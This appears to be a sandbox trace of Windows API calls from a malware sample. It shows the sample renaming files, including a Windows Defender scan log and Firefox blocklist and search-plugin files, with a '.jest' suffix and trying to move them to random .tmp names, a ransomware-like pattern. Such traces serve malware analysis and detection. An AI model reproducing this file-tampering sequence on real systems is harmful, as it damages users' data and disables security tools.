[0130.248] CoFreeUnusedLibraries () [0130.248] GetTickCount () returned 0x1152f89 [0130.249] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.249] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.249] GetTickCount () returned 0x1152f89 [0130.249] IsWindowVisible (hWnd=0x30268) returned 0 [0130.249] Sleep (dwMilliseconds=0x0) [0130.249] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db.jest" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.jest")) returned 1 [0130.251] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\IconCache.db", lpFilePart=0x18e6d8*="IconCache.db") returned 0x2b [0130.251] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.251] GetLastError () returned 0x2 [0130.252] VarBstrFromR4 (in: fltIn=0x47944707, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.05") returned 0x0 [0130.252] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.252] CoFreeUnusedLibraries () [0130.252] GetTickCount () returned 0x1152f89 [0130.252] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.252] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.252] GetTickCount () returned 0x1152f89 [0130.252] IsWindowVisible (hWnd=0x30268) returned 0 [0130.252] Sleep (dwMilliseconds=0x0) [0130.253] GetFullPathNameA (in: lpFileName="SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp", lpFilePart=0x18e708*="SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp") returned 0x8e [0130.258] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\IconCache.db", lpFilePart=0x18e708*="IconCache.db") returned 0x2b [0130.258] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svruc_o-cd01dww9unsrsnyzvuncd8mrhwphrk3wl7fyvf4u5gve3wrtxapxmb6xy1gl2mqxcxtnvtaqelect_hdu9ncrywl7f6l.tmp")) returned 0 [0130.258] GetLastError () returned 0x2 [0130.258] GetLastError () returned 0x2 [0130.258] SetLastError (dwErrCode=0x2) [0130.258] GetLastError () returned 0x2 [0130.258] SetLastError (dwErrCode=0x2) [0130.258] GetLastError () returned 0x2 [0130.258] SetLastError (dwErrCode=0x2) [0130.259] GetFullPathNameA (in: lpFileName="SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp", lpFilePart=0x18e6e4*="SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp") returned 0x8e [0130.259] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SVRUC_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55525653, cFileName="C_O-cD01dwW9UnSrSNYZVUncD8mRHwPhRK3wl7FYVf4U5gve3WRTxapXmb6xy1gl2mQXcXTNVtaQElEcT_hdu9nCRywl7F6l.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.259] GetLastError () returned 0x2 [0130.259] GetLastError () returned 0x2 [0130.259] SetLastError (dwErrCode=0x2) [0130.260] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.260] CoFreeUnusedLibraries () [0130.260] GetTickCount () returned 0x1152f99 [0130.260] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.260] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.260] GetTickCount () returned 0x1152f99 [0130.261] IsWindowVisible (hWnd=0x30268) returned 0 [0130.261] Sleep (dwMilliseconds=0x0) [0130.261] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.jest" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.jest")) returned 1 [0130.262] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log", lpFilePart=0x18e6d8*="Unknown.Log") returned 0x4b [0130.262] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.263] GetLastError () returned 0x2 [0130.263] VarBstrFromR4 (in: fltIn=0x47944709, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.07") returned 0x0 [0130.263] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.263] CoFreeUnusedLibraries () [0130.263] GetTickCount () returned 0x1152f99 [0130.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.263] GetTickCount () returned 0x1152f99 [0130.264] IsWindowVisible (hWnd=0x30268) returned 0 [0130.264] Sleep (dwMilliseconds=0x0) [0130.264] GetFullPathNameA (in: lpFileName="z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp", lpFilePart=0x18e708*="z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp") returned 0x8f [0130.264] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log", lpFilePart=0x18e708*="Unknown.Log") returned 0x4b [0130.265] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z9xw br3mb6n67f4tw_y7i72mda8-ly3vptexqbiuu_f0lb8hfhleierlouyjv5tub7ezun8mhavejvbigf2eoushsq9r8m8-7kdy.tmp")) returned 0 [0130.265] GetLastError () returned 0x2 [0130.265] GetLastError () returned 0x2 [0130.265] SetLastError (dwErrCode=0x2) [0130.265] GetLastError () returned 0x2 [0130.265] SetLastError (dwErrCode=0x2) [0130.265] GetLastError () returned 0x2 [0130.265] SetLastError (dwErrCode=0x2) [0130.265] GetFullPathNameA (in: lpFileName="z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp", lpFilePart=0x18e6e4*="z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp") returned 0x8f [0130.265] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z9xw br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7778397a, cFileName=" br3MB6N67F4tw_Y7i72MDa8-LY3vPtexQbIuu_f0lB8hFhLEIerlOuYjv5TuB7ezun8mhavEjvbIGf2eouSHsQ9R8M8-7kdy.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.266] GetLastError () returned 0x2 [0130.266] GetLastError () returned 0x2 [0130.266] SetLastError (dwErrCode=0x2) [0130.283] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.283] CoFreeUnusedLibraries () [0130.283] GetTickCount () returned 0x1152fa9 [0130.283] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.283] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.283] GetTickCount () returned 0x1152fa9 [0130.283] IsWindowVisible (hWnd=0x30268) returned 0 [0130.283] Sleep (dwMilliseconds=0x0) [0130.285] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.jest")) returned 1 [0130.288] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml", lpFilePart=0x18e6d8*="blocklist.xml") returned 0x3c [0130.288] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.288] GetLastError () returned 0x2 [0130.289] VarBstrFromR4 (in: fltIn=0x4794470d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.1") returned 0x0 [0130.289] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.289] CoFreeUnusedLibraries () [0130.289] GetTickCount () returned 0x1152fb8 [0130.289] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.289] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.289] GetTickCount () returned 0x1152fb8 [0130.289] IsWindowVisible (hWnd=0x30268) returned 0 [0130.289] Sleep (dwMilliseconds=0x0) [0130.290] GetFullPathNameA (in: lpFileName="FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp", lpFilePart=0x18e708*="FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp") returned 0x8e [0130.290] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml", lpFilePart=0x18e708*="blocklist.xml") returned 0x3c [0130.290] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdxdkxgfbf4l8dgf95txzf7q3 zras90stt5vn-0xpw5sgzc xcfzlqxnsckwesmlwiwveesv_f io5695q5c-h7aeacbxrunuud.tmp")) returned 0 [0130.290] GetLastError () returned 0x2 [0130.290] GetLastError () returned 0x2 [0130.290] SetLastError (dwErrCode=0x2) [0130.290] GetLastError () returned 0x2 [0130.290] SetLastError (dwErrCode=0x2) [0130.291] GetLastError () returned 0x2 [0130.291] SetLastError (dwErrCode=0x2) [0130.291] GetFullPathNameA (in: lpFileName="FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp", lpFilePart=0x18e6e4*="FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp") returned 0x8e [0130.291] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FDXDkxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x44584446, cFileName="kxGfbf4l8dGF95txzf7Q3 ZRAs90StT5Vn-0XpW5SgZC XCFZLQXNsCkwesMLwiwVEEsv_f Io5695Q5c-H7aeaCBxRUnUud.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.291] GetLastError () returned 0x2 [0130.291] GetLastError () returned 0x2 [0130.291] SetLastError (dwErrCode=0x2) [0130.293] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.293] CoFreeUnusedLibraries () [0130.293] GetTickCount () returned 0x1152fb8 [0130.293] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.293] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.293] GetTickCount () returned 0x1152fb8 [0130.293] IsWindowVisible (hWnd=0x30268) returned 0 [0130.293] Sleep (dwMilliseconds=0x0) [0130.294] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml.jest")) returned 1 [0130.297] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml", lpFilePart=0x18e6d8*="amazondotcom.xml") returned 0x4d [0130.297] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.298] GetLastError () returned 0x2 [0130.298] VarBstrFromR4 (in: fltIn=0x4794470d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.1") returned 0x0 [0130.298] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.298] CoFreeUnusedLibraries () [0130.298] GetTickCount () returned 0x1152fb8 [0130.298] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.298] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.299] GetTickCount () returned 0x1152fb8 [0130.299] IsWindowVisible (hWnd=0x30268) returned 0 [0130.299] Sleep (dwMilliseconds=0x0) [0130.299] GetFullPathNameA (in: lpFileName="Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp", lpFilePart=0x18e708*="Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp") returned 0x8f [0130.299] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml", lpFilePart=0x18e708*="amazondotcom.xml") returned 0x4d [0130.300] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q6pv sl3zqrtf ndbzkvstpx82oyixp1-ys_zj xnh36sgy3vjczpaq0_eqkkknhhefaemoixbbcomdmgnlrcmzgtgdzu97o73rmx.tmp")) returned 0 [0130.300] GetLastError () returned 0x2 [0130.300] GetLastError () returned 0x2 [0130.300] SetLastError (dwErrCode=0x2) [0130.300] GetLastError () returned 0x2 [0130.300] SetLastError (dwErrCode=0x2) [0130.300] GetLastError () returned 0x2 [0130.300] SetLastError (dwErrCode=0x2) [0130.301] GetFullPathNameA (in: lpFileName="Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp", lpFilePart=0x18e6e4*="Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp") returned 0x8f [0130.301] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q6pv SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76703651, cFileName=" SL3ZQrTf NDBZkvStpx82OyIXp1-ys_zJ XnH36SGy3VJczpAQ0_eqKKknhheFAeMoiXbbCoMDmGNLrcMZgTGdZu97O73rmx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.301] GetLastError () returned 0x2 [0130.301] GetLastError () returned 0x2 [0130.301] SetLastError (dwErrCode=0x2) [0130.302] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.302] CoFreeUnusedLibraries () [0130.302] GetTickCount () returned 0x1152fc8 [0130.302] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 